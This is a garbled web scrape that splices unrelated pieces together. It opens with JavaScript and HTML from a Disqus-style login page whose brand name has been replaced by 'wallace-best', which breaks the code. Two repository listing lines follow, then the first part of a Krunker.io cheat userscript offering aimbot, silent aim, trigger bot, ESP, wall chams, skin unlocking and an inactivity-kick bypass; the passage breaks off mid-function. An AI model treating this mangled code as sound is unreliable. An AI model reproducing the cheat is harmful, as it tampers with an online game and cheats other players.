function (obj) { wallace-best.each(Array.prototype.slice.call(arguments, 1), function (source) { for (var prop in source) { obj[prop] = source[prop]; } }); return obj; }; wallace-best.serializeArgs = function (params) { var pcs = []; wallace-best.each(params, function (val, key) { if (val !== undefined) { pcs.push(key + (val !== null ? '=' + encodeURIComponent(val) : '')); } }); return pcs.join('&'); }; wallace-best.serialize = function (url, params, nocache) { if (params) { url += (~url.indexOf('?') ? (url.charAt(url.length - 1) == '&' ? '': '&') : '?'); url += wallace-best.serializeArgs(params); } if (nocache) { var ncp = {}; ncp[(new Date()).getTime()] = null; return wallace-best.serialize(url, ncp); } var len = url.length; return (url.charAt(len - 1) == "&" ? url.slice(0, len - 1) : url); }; var TIMEOUT_DURATION = 2e4; // 20 seconds var addEvent, removeEvent; // select the correct event listener function. all of our supported // browsers will use one of these if ('addEventListener' in window) { addEvent = function (node, event, handler) { node.addEventListener(event, handler, false); }; removeEvent = function (node, event, handler) { node.removeEventListener(event, handler, false); }; } else { addEvent = function (node, event, handler) { node.attachEvent('on' + event, handler); }; removeEvent = function (node, event, handler) { node.detachEvent('on' + event, handler); }; } wallace-best.require = function (url, params, nocache, success, failure) { var script = document.createElement('script'); var evName = script.addEventListener ? 'load' : 'readystatechange'; var timeout = null; script.src = wallace-best.serialize(url, params, nocache); script.async = true; script.charset = 'UTF-8'; function handler(ev) { ev = ev || window.event; if (!ev.target) { ev.target = ev.srcElement; } if (ev.type != 'load' && !/^(complete|loaded)$/.test(ev.target.readyState)) { return; // Not ready yet } if (success) { success(); } if (timeout) { clearTimeout(timeout); } removeEvent(ev.target, evName, handler); } if (success || failure) { addEvent(script, evName, handler); } if (failure) { timeout = setTimeout(function () { failure(); }, TIMEOUT_DURATION); } head.appendChild(script); return wallace-best; }; wallace-best.requireStylesheet = function (url, params, nocache) { var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = wallace-best.serialize(url, params, nocache); head.appendChild(link); return wallace-best; }; wallace-best.requireSet = function (urls, nocache, callback) { var remaining = urls.length; wallace-best.each(urls, function (url) { wallace-best.require(url, {}, nocache, function () { if (--remaining === 0) { callback(); } }); }); }; wallace-best.injectCss = function (css) { var style = document.createElement('style'); style.setAttribute('type', 'text/css'); // Make inline CSS more readable by splitting each rule onto a separate line css = css.replace(/\}/g, "}\n"); if (window.location.href.match(/^https/)) css = css.replace(/http:\/\//g, 'https://'); if (style.styleSheet) { // Internet Explorer only style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); }; wallace-best.isString = function (val) { return Object.prototype.toString.call(val) === '[object String]'; }; }); /*jshint boss:true*/ /*global wallace-best */ wallace-best.define('Events', function (window, undefined) { "use strict"; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = function (func) { var ran = false, memo; return function () { if (ran) return memo; ran = true; memo = func.apply(this, arguments); func = null; return memo; }; }; var has = wallace-best.isOwn; var keys = Object.keys || function (obj) { if (obj !== Object(obj)) throw new TypeError('Invalid object'); var keys = []; for (var key in obj) if (has(obj, key)) keys[keys.length] = key; return keys; }; var slice = [].slice; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // custom events. You may bind with `on` or remove with `off` callback // functions to an event; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = { // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. on: function (name, callback, context) { if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this; this._events = this._events || {}; var events = this._events[name] || (this._events[name] = []); events.push({callback: callback, context: context, ctx: context || this}); return this; }, // Bind an event to only be triggered a single time. After the first time // the callback is invoked, it will be removed. once: function (name, callback, context) { if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this; var self = this; var onced = once(function () { self.off(name, onced); callback.apply(this, arguments); }); onced._callback = callback; return this.on(name, onced, context); }, // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. off: function (name, callback, context) { var retain, ev, events, names, i, l, j, k; if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this; if (!name && !callback && !context) { this._events = {}; return this; } names = name ? [name] : keys(this._events); for (i = 0, l = names.length; i < l; i++) { name = names[i]; if (events = this._events[name]) { this._events[name] = retain = []; if (callback || context) { for (j = 0, k = events.length; j < k; j++) { ev = events[j]; if ((callback && callback !== ev.callback && callback !== ev.callback._callback) || (context && context !== ev.context)) { retain.push(ev); } } } if (!retain.length) delete this._events[name]; } } return this; }, // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). trigger: function (name) { if (!this._events) return this; var args = slice.call(arguments, 1); if (!eventsApi(this, 'trigger', name, args)) return this; var events = this._events[name]; var allEvents = this._events.all; if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, arguments); return this; }, // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. stopListening: function (obj, name, callback) { var listeners = this._listeners; if (!listeners) return this; var deleteListener = !name && !callback; if (typeof name === 'object') callback = this; if (obj) (listeners = {})[obj._listenerId] = obj; for (var id in listeners) { listeners[id].off(name, callback, this); if (deleteListener) delete this._listeners[id]; } return this; } }; // Regular expression used to split event strings. var eventSplitter = /\s+/; // Implement fancy features of the Events API such as multiple event // names `"change blur"` and jQuery-style event maps `{change: action}` // in terms of the existing API. var eventsApi = function (obj, action, name, rest) { if (!name) return true; // Handle event maps. if (typeof name === 'object') { for (var key in name) { obj[action].apply(obj, [key, name[key]].concat(rest)); } return false; } // Handle space separated event names. if (eventSplitter.test(name)) { var names = name.split(eventSplitter); for (var i = 0, l = names.length; i < l; i++) { obj[action].apply(obj, [names[i]].concat(rest)); } return false; } return true; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function (events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) { (ev = events[i]).callback.call(ev.ctx); } return; case 1: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1); } return; case 2: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2); } return; case 3: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); } return; default: while (++i < l) { (ev = events[i]).callback.apply(ev.ctx, args); } } }; var listenMethods = {listenTo: 'on', listenToOnce: 'once'}; // Inversion-of-control versions of `on` and `once`. Tell *this* object to // listen to an event in another object ... keeping track of what it's // listening to. wallace-best.each(listenMethods, function (implementation, method) { Events[method] = function (obj, name, callback) { var listeners = this._listeners || (this._listeners = {}); var id = obj._listenerId || (obj._listenerId = wallace-best.getUid('l')); listeners[id] = obj; if (typeof name === 'object') callback = this; obj[implementation](name, callback, this); return this; }; }); // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; return Events; }); // used for /follow/ /login/ /signup/ social oauth dialogs // faking the bus wallace-best.use('Bus'); _.extend(DISQUS.Bus, wallace-best.Events); </script> <script src="//a.disquscdn.com/1391808583/js/src/global.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/ga_events.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/messagesx.js"></script> <!-- start Mixpanel --><script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.set_once people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]); b._i.push([a,e,d])};b.__SV=1.2}})(document,window.mixpanel||[]); mixpanel.init('17b27902cd9da8972af8a3c43850fa5f', { track_pageview: false, debug: false }); </script><!-- end Mixpanel --> <script src="//a.disquscdn.com/1391808583//js/src/funnelcake.js"></script> <script type="text/javascript"> if (window.AB_TESTS === undefined) { var AB_TESTS = {}; } $(function() { if (context.auth.username !== undefined) { disqus.messagesx.init(context.auth.username); } }); </script> <script type="text/javascript" charset="utf-8"> // Global tests $(document).ready(function() { $('a[rel*=facebox]').facebox(); }); </script> <script type="text/x-underscore-template" data-template-name="global-nav"> <% var has_custom_avatar = data.avatar_url && data.avatar_url.indexOf('noavatar') < 0; %> <% var has_custom_username = data.username && data.username.indexOf('disqus_') < 0; %> <% if (data.username) { %> <li class="<%= data.forWebsitesClasses || '' %>" data-analytics="header for websites"><a href="<%= data.urlMap.for_websites %>">For Websites</a></li> <li data-analytics="header dashboard"><a href="<%= data.urlMap.dashboard %>">Dashboard</a></li> <% if (data.has_forums) { %> <li class="admin<% if (has_custom_avatar || !has_custom_username) { %> avatar-menu-admin<% } %>" data-analytics="header admin"><a href="<%= data.urlMap.admin %>">Admin</a></li> <% } %> <li class="user-dropdown dropdown-toggle<% if (has_custom_avatar || !has_custom_username) { %> avatar-menu<% } else { %> username-menu<% } %>" data-analytics="header username dropdown" data-floater-marker="<% if (has_custom_avatar || !has_custom_username) { %>square<% } %>"> <a href="<%= data.urlMap.home %>/<%= data.username %>/"> <% if (has_custom_avatar) { %> <img src="<%= data.avatar_url %>" class="avatar"> <% } else if (has_custom_username) { %> <%= data.username %> <% } else { %> <img src="<%= data.avatar_url %>" class="avatar"> <% } %> <span class="caret"></span> </a> <ul class="clearfix dropdown"> <li data-analytics="header view profile"><a href="<%= data.urlMap.home %>/<%= data.username %>/">View Profile</a></li> <li class="edit-profile js-edit-profile" data-analytics="header edit profile"><a href="<%= data.urlMap.dashboard %>#account">Edit Profile</a></li> <li class="logout" data-analytics="header logout"><a href="<%= data.urlMap.logout %>">Logout</a></li> </ul> </li> <% } else { %> <li class="<%= data.forWebsitesClasses || '' %>" data-analytics="header for websites"><a href="<%= data.urlMap.for_websites %>">For Websites</a></li> <li class="link-login" data-analytics="header login"><a href="<%= data.urlMap.login %>?next=<%= encodeURIComponent(document.location.href) %>">Log in</a></li> <% } %> </script> <!--[if lte IE 7]> <script src="//a.wallace-bestdn.com/1391808583/js/src/border_box_model.js"></script> <![endif]--> <!--[if lte IE 8]> <script src="//cdnjs.cloudflare.com/ajax/libs/modernizr/2.5.3/modernizr.min.js"></script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/selectivizr.js"></script> <![endif]--> <meta name="viewport" content="width=device-width, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <script type="text/javascript" charset="utf-8"> // Network tests $(document).ready(function() { $('a[rel*=facebox]').facebox(); }); </script> </head> <body class=""> <header class="global-header"> <div> <nav class="global-nav"> <a href="/" class="logo" data-analytics="site logo"><img src="//a.wallace-bestcdn.com/1391808583/img/disqus-logo-alt-hidpi.png" width="150" alt="wallace-best" title="wallace-best - Discover your community"/></a> </nav> </div> </header> <section class="login"> <form id="login-form" action="https://disqus.com/profile/login/?next=http://wallace-best.wallace-best.com/admin/moderate/" method="post" accept-charset="utf-8"> <h1>Sign in to continue</h1> <input type="text" name="username" tabindex="20" placeholder="Email or Username" value=""/> <div class="password-container"> <input type="password" name="password" tabindex="21" placeholder="Password" /> <span>(<a href="https://wallace-best.com/forgot/">forgot?</a>)</span> </div> <button type="submit" class="button submit" data-analytics="sign-in">Log in to wallace-best</button> <span class="create-account"> <a href="https://wallace-best.com/profile/signup/?next=http%3A//wallace-best.wallace-best.com/admin/moderate/" data-analytics="create-account"> Create an Account </a> </span> <h1 class="or-login">Alternatively, you can log in using:</h1> <div class="connect-options"> <button title="facebook" type="button" class="facebook-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/facebook.svg" alt="Facebook"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/facebook.png" alt="Facebook"> <![endif]--> </span> </button> <button title="twitter" type="button" class="twitter-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/twitter.svg" alt="Twitter"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/twitter.png" alt="Twitter"> <![endif]--> </span> </button> <button title="google" type="button" class="google-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/google.svg" alt="Google"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/google.png" alt="Google"> <![endif]--> </span> </button> </div> </form> </section> <div class="get-disqus"> <a href="https://wallace-best.com/admin/signup/" data-analytics="get-disqus">Get wallace-best for your site</a> </div> <script> /*jshint undef:true, browser:true, maxlen:100, strict:true, expr:true, white:true */ // These must be global var _comscore, _gaq; (function (doc) { "use strict"; // Convert Django template variables to JS variables var debug = false, gaKey = '', gaPunt = '', gaCustomVars = { component: 'website', forum: '', version: 'v5' }, gaSlots = { component: 1, forum: 3, version: 4 }; /**/ gaKey = gaCustomVars.component == 'website' ? 'UA-1410476-16' : 'UA-1410476-6'; // Now start loading analytics services var s = doc.getElementsByTagName('script')[0], p = s.parentNode; var isSecure = doc.location.protocol == 'https:'; if (!debug) { _comscore = _comscore || []; // comScore // Load comScore _comscore.push({ c1: '7', c2: '10137436', c3: '1' }); var cs = document.createElement('script'); cs.async = true; cs.src = (isSecure ? 'https://sb' : 'http://b') + '.scorecardresearch.com/beacon.js'; p.insertBefore(cs, s); } // Set up Google Analytics _gaq = _gaq || []; if (!debug) { _gaq.push(['_setAccount', gaKey]); _gaq.push(['_setDomainName', '.wallace-best.com']); } if (!gaPunt) { for (var v in gaCustomVars) { if (!(gaCustomVars.hasOwnProperty(v) && gaCustomVars[v])) continue; _gaq.push(['_setCustomVar', gaSlots[v], gaCustomVars[v]]); } _gaq.push(['_trackPageview']); } // Load Google Analytics var ga = doc.createElement('script'); ga.type = 'text/javascript'; ga.async = true; var prefix = isSecure ? 'https://ssl' : 'http://www'; // Dev tip: if you cannot use the Google Analytics Debug Chrome extension, // https://chrome.google.com/webstore/detail/jnkmfdileelhofjcijamephohjechhna // you can replace /ga.js on the following line with /u/ga_debug.js // But if you do that, PLEASE DON'T COMMIT THE CHANGE! Kthxbai. ga.src = prefix + '.google-analytics.com/ga.js'; p.insertBefore(ga, s); }(document)); </script> <script> (function (){ // adds a classname for css to target the current page without passing in special things from the server or wherever // replacing all characters not allowable in classnames var newLocation = encodeURIComponent(window.location.pathname).replace(/[\.!~*'\(\)]/g, '_'); // cleaning up remaining url-encoded symbols for clarity sake newLocation = newLocation.replace(/%2F/g, '-').replace(/^-/, '').replace(/-$/, ''); if (newLocation === '') { newLocation = 'homepage'; } $('body').addClass('' + newLocation); }()); $(function ($) { // adds 'page-active' class to links matching the page url $('a[href="' + window.location.pathname + '"]').addClass('page-active'); }); $(document).delegate('[data-toggle-selector]', 'click', function (e) { var $this = $(this); $($this.attr('data-toggle-selector')).toggle(); e.preventDefault(); }); </script> <script type="text/javascript"> wallace-best.define('web.urls', function () { return { twitter: 'https://wallace-best.com/_ax/twitter/begin/', google: 'https://wallace-best.com/_ax/google/begin/', facebook: 'https://wallace-best.com/_ax/facebook/begin/', dashboard: 'http://wallace-best.com/dashboard/' } }); $(document).ready(function () { var usernameInput = $("input[name=username]"); if (usernameInput[0].value) { $("input[name=password]").focus(); } else { usernameInput.focus(); } }); </script> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/js/src/social_login.js"> <script type="text/javascript"> $(function() { var options = { authenticated: (context.auth.username !== undefined), moderated_forums: context.auth.moderated_forums, user_id: context.auth.user_id, track_clicks: !!context.switches.website_click_analytics, forum: context.forum }; wallace-best.funnelcake.init(options); }); </script> <!-- helper jQuery tmpl partials --> <script type="text/x-jquery-tmpl" id="profile-metadata-tmpl"> data-profile-username="${username}" data-profile-hash="${emailHash}" href="/${username}" </script> <script type="text/x-jquery-tmpl" id="profile-link-tmpl"> <a class="profile-launcher" {{tmpl "#profile-metadata-tmpl"}} href="/${username}">${name}</a> </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/templates.js"></script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/modals.js"></script> <script> wallace-best.ui.config({ disqusUrl: 'https://disqus.com', mediaUrl: '//a.wallace-bestcdn.com/1391808583/' }); </script> </body> </html>
brpx / Node Sequelize QuerystringConvert the request query string into sequelize compatible where and sort clauses
Abishek887027 / Sorting Array Of String In JavaNo description available
Gabriel1231n2j3n / Hacks Para Krunker// ==UserScript== // @name aimbot gratis para krunker.io // @description Este es el mejor aimbot mod menuq puedas obtener // @version 2.19 // @author Gabriel - // @iconURL 31676a4e532e706e673f7261773d74727565.png // @match *://krunker.io/* // @exclude *://krunker.io/editor* // @exclude *://krunker.io/social* // @run-at document-start // @grant none // @noframes // ==/UserScript== /* eslint-env es6 */ /* eslint-disable no-caller, no-undef, no-loop-func */ var CRC2d = CanvasRenderingContext2D.prototype; var skid, skidStr = [...Array(8)].map(_ => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[~~(Math.random()*52)]).join(''); class Skid { constructor() { skid = this; this.downKeys = new Set(); this.settings = null; this.vars = {}; this.playerMaps = []; this.skinCache = {}; this.inputFrame = 0; this.renderFrame = 0; this.fps = 0; this.lists = { renderESP: { off: "Off", walls: "Walls", twoD: "2d", full: "Full" }, renderChams: { off: "Off", white: "White", blue: "Blue", teal: "Teal", purple: "Purple", green: "Green", yellow: "Yellow", red: "Red", }, autoBhop: { off: "Off", autoJump: "Auto Jump", keyJump: "Key Jump", autoSlide: "Auto Slide", keySlide: "Key Slide" }, autoAim: { off: "Off", correction: "Aim Correction", assist: "Legit Aim Assist", easyassist: "Easy Aim Assist", silent: "Silent Aim", trigger: "Trigger Bot", quickScope: "Quick Scope" }, audioStreams: { off: 'Off', _2000s: 'General German/English', _HipHopRNB: 'Hip Hop / RNB', _Oldskool: 'Hip Hop Oldskool', _Country: 'Country', _Pop: 'Pop', _Dance: 'Dance', _Dubstep: 'DubStep', _Lowfi: 'LoFi HipHop', _Jazz: 'Jazz', _Oldies: 'Golden Oldies', _Club: 'Club', _Folk: 'Folk', _ClassicRock: 'Classic Rock', _Metal: 'Heavy Metal', _DeathMetal: 'Death Metal', _Classical: 'Classical', _Alternative: 'Alternative', }, } this.consts = { twoPI: Math.PI * 2, halfPI: Math.PI / 2, playerHeight: 11, cameraHeight: 1.5, headScale: 2, armScale: 1.3, armInset: 0.1, chestWidth: 2.6, hitBoxPad: 1, crouchDst: 3, recoilMlt: 0.3, nameOffset: 0.6, nameOffsetHat: 0.8, }; this.key = { frame: 0, delta: 1, xdir: 2, ydir: 3, moveDir: 4, shoot: 5, scope: 6, jump: 7, reload: 8, crouch: 9, weaponScroll: 10, weaponSwap: 11, moveLock: 12 }; this.css = { noTextShadows: `*, .button.small, .bigShadowT { text-shadow: none !important; }`, hideAdverts: `#aMerger, #endAMerger { display: none !important }`, hideSocials: `.headerBarRight > .verticalSeparator, .imageButton { display: none }`, cookieButton: `#onetrust-consent-sdk { display: none !important }`, newsHolder: `#newsHolder { display: none !important }`, }; this.isProxy = Symbol("isProxy"); this.spinTimer = 1800; let wait = setInterval(_ => { this.head = document.head||document.getElementsByTagName('head')[0] if (this.head) { clearInterval(wait); Object.entries(this.css).forEach(entry => { this.css[entry[0]] = this.createElement("style", entry[1]); }) this.onLoad(); } }, 100); } canStore() { return this.isDefined(Storage); } saveVal(name, val) { if (this.canStore()) localStorage.setItem("kro_utilities_"+name, val); } deleteVal(name) { if (this.canStore()) localStorage.removeItem("kro_utilities_"+name); } getSavedVal(name) { if (this.canStore()) return localStorage.getItem("kro_utilities_"+name); return null; } isType(item, type) { return typeof item === type; } isDefined(object) { return !this.isType(object, "undefined") && object !== null; } isNative(fn) { return (/^function\s*[a-z0-9_\$]*\s*\([^)]*\)\s*\{\s*\[native code\]\s*\}/i).test('' + fn) } getStatic(s, d) { return this.isDefined(s) ? s : d } crossDomain(url) { return "https://crossorigin.me/" + url; } async waitFor(test, timeout_ms = 20000, doWhile = null) { let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); return new Promise(async (resolve, reject) => { if (typeof timeout_ms != "number") reject("Timeout argument not a number in waitFor(selector, timeout_ms)"); let result, freq = 100; while (result === undefined || result === false || result === null || result.length === 0) { if (doWhile && doWhile instanceof Function) doWhile(); if (timeout_ms % 1000 < freq) console.log("waiting for: ", test); if ((timeout_ms -= freq) < 0) { console.log( "Timeout : ", test ); resolve(false); return; } await sleep(freq); result = typeof test === "string" ? Function(test)() : test(); } console.log("Passed : ", test); resolve(result); }); }; createSettings() { this.settings = { //Rendering showSkidBtn: { pre: "<div class='setHed'>Rendering</div>", name: "Show Skid Button", val: true, html: () => this.generateSetting("checkbox", "showSkidBtn", this), set: (value, init) => { let button = document.getElementById("mainButton"); if (!button) { button = this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu, value) } else button.style.display = value ? "inherit" : "none"; } }, hideAdverts: { name: "Hide Advertisments", val: true, html: () => this.generateSetting("checkbox", "hideAdverts", this), set: (value, init) => { if (value) this.head.appendChild(this.css.hideAdverts) else if (!init) this.css.hideAdverts.remove() } }, hideStreams: { name: "Hide Streams", val: false, html: () => this.generateSetting("checkbox", "hideStreams", this), set: (value) => { window.streamContainer.style.display = value ? "none" : "inherit" } }, hideMerch: { name: "Hide Merch", val: false, html: () => this.generateSetting("checkbox", "hideMerch", this), set: value => { window.merchHolder.style.display = value ? "none" : "inherit" } }, hideNewsConsole: { name: "Hide News Console", val: false, html: () => this.generateSetting("checkbox", "hideNewsConsole", this), set: value => { window.newsHolder.style.display = value ? "none" : "inherit" } }, hideCookieButton: { name: "Hide Security Manage Button", val: false, html: () => this.generateSetting("checkbox", "hideCookieButton", this), set: value => { window['onetrust-consent-sdk'].style.display = value ? "none" : "inherit" } }, noTextShadows: { name: "Remove Text Shadows", val: false, html: () => this.generateSetting("checkbox", "noTextShadows", this), set: (value, init) => { if (value) this.head.appendChild(this.css.noTextShadows) else if (!init) this.css.noTextShadows.remove() } }, customCSS: { name: "Custom CSS", val: "", html: () => this.generateSetting("url", "customCSS", "URL to CSS file"), resources: { css: document.createElement("link") }, set: (value, init) => { if (value.startsWith("http")&&value.endsWith(".css")) { //let proxy = 'https://cors-anywhere.herokuapp.com/'; this.settings.customCSS.resources.css.href = value } if (init) { this.settings.customCSS.resources.css.rel = "stylesheet" try { this.head.appendChild(this.settings.customCSS.resources.css) } catch(e) { alert(e) this.settings.customCSS.resources.css = null } } } }, renderESP: { name: "Player ESP Type", val: "off", html: () => this.generateSetting("select", "renderESP", this.lists.renderESP), }, renderTracers: { name: "Player Tracers", val: false, html: () => this.generateSetting("checkbox", "renderTracers"), }, rainbowColor: { name: "Rainbow ESP", val: false, html: () => this.generateSetting("checkbox", "rainbowColor"), }, renderChams: { name: "Player Chams", val: "off", html: () => this.generateSetting( "select", "renderChams", this.lists.renderChams ), }, renderWireFrame: { name: "Player Wireframe", val: false, html: () => this.generateSetting("checkbox", "renderWireFrame"), }, customBillboard: { name: "Custom Billboard Text", val: "", html: () => this.generateSetting( "text", "customBillboard", "Custom Billboard Text" ), }, //Weapon autoReload: { pre: "<br><div class='setHed'>Weapon</div>", name: "Auto Reload", val: false, html: () => this.generateSetting("checkbox", "autoReload"), }, autoAim: { name: "Auto Aim Type", val: "off", html: () => this.generateSetting("select", "autoAim", this.lists.autoAim), }, frustrumCheck: { name: "Line of Sight Check", val: false, html: () => this.generateSetting("checkbox", "frustrumCheck"), }, wallPenetrate: { name: "Aim through Penetratables", val: false, html: () => this.generateSetting("checkbox", "wallPenetrate"), }, weaponZoom: { name: "Weapon Zoom", val: 1.0, min: 0, max: 50.0, step: 0.01, html: () => this.generateSetting("slider", "weaponZoom"), set: (value) => { if (this.renderer) this.renderer.adsFovMlt = value;} }, weaponTrails: { name: "Weapon Trails", val: false, html: () => this.generateSetting("checkbox", "weaponTrails"), set: (value) => { if (this.me) this.me.weapon.trail = value;} }, //Player autoBhop: { pre: "<br><div class='setHed'>Player</div>", name: "Auto Bhop Type", val: "off", html: () => this.generateSetting("select", "autoBhop", this.lists.autoBhop), }, thirdPerson: { name: "Third Person", val: false, html: () => this.generateSetting("checkbox", "thirdPerson"), set: (value, init) => { if (value) this.thirdPerson = 1; else if (!init) this.thirdPerson = undefined; } }, skinUnlock: { name: "Unlock Skins", val: false, html: () => this.generateSetting("checkbox", "skinUnlock", this), }, //GamePlay disableWpnSnd: { pre: "<br><div class='setHed'>GamePlay</div>", name: "Disable Players Weapon Sounds", val: false, html: () => this.generateSetting("checkbox", "disableWpnSnd", this), }, disableHckSnd: { name: "Disable Hacker Fart Sounds", val: false, html: () => this.generateSetting("checkbox", "disableHckSnd", this), }, autoActivateNuke: { name: "Auto Activate Nuke", val: false, html: () => this.generateSetting("checkbox", "autoActivateNuke", this), }, autoFindNew: { name: "New Lobby Finder", val: false, html: () => this.generateSetting("checkbox", "autoFindNew", this), }, autoClick: { name: "Auto Start Game", val: false, html: () => this.generateSetting("checkbox", "autoClick", this), }, inActivity: { name: "No InActivity Kick", val: true, html: () => this.generateSetting("checkbox", "autoClick", this), }, //Radio Stream Player playStream: { pre: "<br><div class='setHed'>Radio Stream Player</div>", name: "Stream Select", val: "off", html: () => this.generateSetting("select", "playStream", this.lists.audioStreams), set: (value) => { if (value == "off") { if ( this.settings.playStream.audio ) { this.settings.playStream.audio.pause(); this.settings.playStream.audio.currentTime = 0; this.settings.playStream.audio = null; } return; } let url = this.settings.playStream.urls[value]; if (!this.settings.playStream.audio) { this.settings.playStream.audio = new Audio(url); this.settings.playStream.audio.volume = this.settings.audioVolume.val||0.5 } else { this.settings.playStream.audio.src = url; } this.settings.playStream.audio.load(); this.settings.playStream.audio.play(); }, urls: { _2000s: 'http://0n-2000s.radionetz.de/0n-2000s.aac', _HipHopRNB: 'https://stream-mixtape-geo.ntslive.net/mixtape2', _Country: 'https://live.wostreaming.net/direct/wboc-waaifmmp3-ibc2', _Dance: 'http://streaming.radionomy.com/A-RADIO-TOP-40', _Pop: 'http://bigrradio.cdnstream1.com/5106_128', _Jazz: 'http://strm112.1.fm/ajazz_mobile_mp3', _Oldies: 'http://strm112.1.fm/60s_70s_mobile_mp3', _Club: 'http://strm112.1.fm/club_mobile_mp3', _Folk: 'https://freshgrass.streamguys1.com/irish-128mp3', _ClassicRock: 'http://1a-classicrock.radionetz.de/1a-classicrock.mp3', _Metal: 'http://streams.radiobob.de/metalcore/mp3-192', _DeathMetal: 'http://stream.laut.fm/beatdownx', _Classical: 'http://live-radio01.mediahubaustralia.com/FM2W/aac/', _Alternative: 'http://bigrradio.cdnstream1.com/5187_128', _Dubstep: 'http://streaming.radionomy.com/R1Dubstep?lang=en', _Lowfi: 'http://streams.fluxfm.de/Chillhop/mp3-256', _Oldskool: 'http://streams.90s90s.de/hiphop/mp3-128/', }, audio: null, }, audioVolume: { name: "Radio Volume", val: 0.5, min: 0, max: 1, step: 0.01, html: () => this.generateSetting("slider", "audioVolume"), set: (value) => { if (this.settings.playStream.audio) this.settings.playStream.audio.volume = value;} }, }; // Inject Html let waitForWindows = setInterval(_ => { if (window.windows) { const menu = window.windows[11]; menu.header = "Settings"; menu.gen = _ => { var tmpHTML = `<div style='text-align:center'> <a onclick='window.open("https://skidlamer.github.io/")' class='menuLink'>SkidFest Settings</center></a> <hr> </div>`; for (const key in this.settings) { if (this.settings[key].pre) tmpHTML += this.settings[key].pre; tmpHTML += "<div class='settName' id='" + key + "_div' style='display:" + (this.settings[key].hide ? 'none' : 'block') + "'>" + this.settings[key].name + " " + this.settings[key].html() + "</div>"; } tmpHTML += `<br><hr><a onclick='${skidStr}.resetSettings()' class='menuLink'>Reset Settings</a> | <a onclick='${skidStr}.saveScript()' class='menuLink'>Save GameScript</a>` return tmpHTML; }; clearInterval(waitForWindows); //this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu) } }, 100); // setupSettings for (const key in this.settings) { this.settings[key].def = this.settings[key].val; if (!this.settings[key].disabled) { let tmpVal = this.getSavedVal(key); this.settings[key].val = tmpVal !== null ? tmpVal : this.settings[key].val; if (this.settings[key].val == "false") this.settings[key].val = false; if (this.settings[key].val == "true") this.settings[key].val = true; if (this.settings[key].val == "undefined") this.settings[key].val = this.settings[key].def; if (this.settings[key].set) this.settings[key].set(this.settings[key].val, true); } } } generateSetting(type, name, extra) { switch (type) { case 'checkbox': return `<label class="switch"><input type="checkbox" onclick="${skidStr}.setSetting('${name}', this.checked)" ${this.settings[name].val ? 'checked' : ''}><span class="slider"></span></label>`; case 'slider': return `<span class='sliderVal' id='slid_utilities_${name}'>${this.settings[name].val}</span><div class='slidecontainer'><input type='range' min='${this.settings[name].min}' max='${this.settings[name].max}' step='${this.settings[name].step}' value='${this.settings[name].val}' class='sliderM' oninput="${skidStr}.setSetting('${name}', this.value)"></div>` case 'select': { let temp = `<select onchange="${skidStr}.setSetting(\x27${name}\x27, this.value)" class="inputGrey2">`; for (let option in 